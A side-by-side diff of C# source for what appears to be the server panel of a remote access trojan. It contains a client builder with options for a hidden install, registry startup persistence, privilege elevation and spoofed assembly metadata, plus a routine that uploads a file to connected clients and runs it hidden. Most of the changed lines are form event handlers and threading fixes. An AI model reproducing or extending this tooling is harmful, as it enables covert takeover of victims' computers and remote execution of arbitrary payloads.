private void txtInstallsub_TextChanged(object sender, EventArgs e) private void txtInstallsub_TextChanged(object sender, EventArgs e)
{ {
HasChanged();
RefreshExamplePath(); RefreshExamplePath();
} }
private void btnMutex_Click(object sender, EventArgs e) private void btnMutex_Click(object sender, EventArgs e)
{ {
HasChanged();
txtMutex.Text = Helper.GetRandomName(32); txtMutex.Text = Helper.GetRandomName(32);
} }
private void chkInstall_CheckedChanged(object sender, EventArgs e) private void chkInstall_CheckedChanged(object sender, EventArgs e)
{ {
HasChanged();
txtInstallname.Enabled = chkInstall.Checked; txtInstallname.Enabled = chkInstall.Checked;
rbAppdata.Enabled = chkInstall.Checked; rbAppdata.Enabled = chkInstall.Checked;
rbProgramFiles.Enabled = chkInstall.Checked; rbProgramFiles.Enabled = chkInstall.Checked;
@ -176,11 +201,15 @@ namespace xServer.Forms
private void chkStartup_CheckedChanged(object sender, EventArgs e) private void chkStartup_CheckedChanged(object sender, EventArgs e)
{ {
HasChanged();
txtRegistryKeyName.Enabled = chkStartup.Checked; txtRegistryKeyName.Enabled = chkStartup.Checked;
} }
private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e) private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e)
{ {
HasChanged();
ToggleAsmInfoControls(); ToggleAsmInfoControls();
} }
@ -188,11 +217,11 @@ namespace xServer.Forms
{ {
string path = string.Empty; string path = string.Empty;
if (rbAppdata.Checked) if (rbAppdata.Checked)
path = System.IO.Path.Combine(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), txtInstallsub.Text), txtInstallname.Text); path = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), txtInstallsub.Text), txtInstallname.Text);
else if (rbProgramFiles.Checked) else if (rbProgramFiles.Checked)
path = System.IO.Path.Combine(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text); path = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text);
else if (rbSystem.Checked) else if (rbSystem.Checked)
path = System.IO.Path.Combine(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text); path = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text);
this.Invoke((MethodInvoker)delegate this.Invoke((MethodInvoker)delegate
{ {
@ -242,6 +271,7 @@ namespace xServer.Forms
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
return; return;
} }
asmInfo = new string[8]; asmInfo = new string[8];
asmInfo[0] = txtProductName.Text; asmInfo[0] = txtProductName.Text;
asmInfo[1] = txtDescription.Text; asmInfo[1] = txtDescription.Text;
@ -252,9 +282,18 @@ namespace xServer.Forms
asmInfo[6] = txtProductVersion.Text; asmInfo[6] = txtProductVersion.Text;
asmInfo[7] = txtFileVersion.Text; asmInfo[7] = txtFileVersion.Text;
} }
ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);
ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text,
txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked,
chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text),
GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);
MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
} }
catch (FileLoadException)
{
MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.", "Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch (Exception ex) catch (Exception ex)
{ {
MessageBox.Show(string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); MessageBox.Show(string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
@ -307,5 +346,85 @@ namespace xServer.Forms
Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase); Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase);
return match.Success; return match.Success;
} }
private void txtHost_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtPort_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtPassword_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtMutex_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void chkHide_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtRegistryKeyName_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void chkElevation_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
}
private void chkIconChange_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtProductName_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtDescription_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtCompanyName_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtCopyright_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtTrademarks_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtOriginalFilename_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtProductVersion_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtFileVersion_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
} }
} }

View File

@ -189,7 +189,6 @@ namespace xServer.Forms
int selectedClients = 0; int selectedClients = 0;
this.Invoke((MethodInvoker) delegate this.Invoke((MethodInvoker) delegate
{ {
selectedClients = lstClients.SelectedItems.Count;
foreach (ListViewItem lvi in lstClients.Items) foreach (ListViewItem lvi in lstClients.Items)
{ {
if ((Client) lvi.Tag == client) if ((Client) lvi.Tag == client)
@ -198,6 +197,7 @@ namespace xServer.Forms
server.ConnectedClients--; server.ConnectedClients--;
} }
} }
selectedClients = lstClients.SelectedItems.Count;
}); });
UpdateWindowTitle(ListenServer.ConnectedClients, selectedClients); UpdateWindowTitle(ListenServer.ConnectedClients, selectedClients);
} }
@ -481,32 +481,35 @@ namespace xServer.Forms
{ {
if (frm.ShowDialog() == DialogResult.OK) if (frm.ShowDialog() == DialogResult.OK)
{ {
foreach (ListViewItem lvi in lstClients.SelectedItems) new Thread(() =>
{ {
Client c = (Client)lvi.Tag; foreach (ListViewItem lvi in lstClients.SelectedItems)
FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath);
if (srcFile.MaxBlocks < 0)
{ {
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); Client c = (Client)lvi.Tag;
break;
}
int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;) FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath);
if (srcFile.MaxBlocks < 0)
CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file..."));
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
{
byte[] block;
if (!srcFile.ReadBlock(currentBlock, out block))
{ {
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
break; break;
} }
new Core.Packets.ServerPackets.UploadAndExecute(ID, Path.GetFileName(UploadAndExecute.FilePath) , block, srcFile.MaxBlocks, currentBlock, UploadAndExecute.RunHidden).Execute(c);
int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;)
CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file..."));
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
{
byte[] block;
if (!srcFile.ReadBlock(currentBlock, out block))
{
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
break;
}
new Core.Packets.ServerPackets.UploadAndExecute(ID, Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks, currentBlock, UploadAndExecute.RunHidden).Execute(c);
}
} }
} }).Start();
} }
} }
} }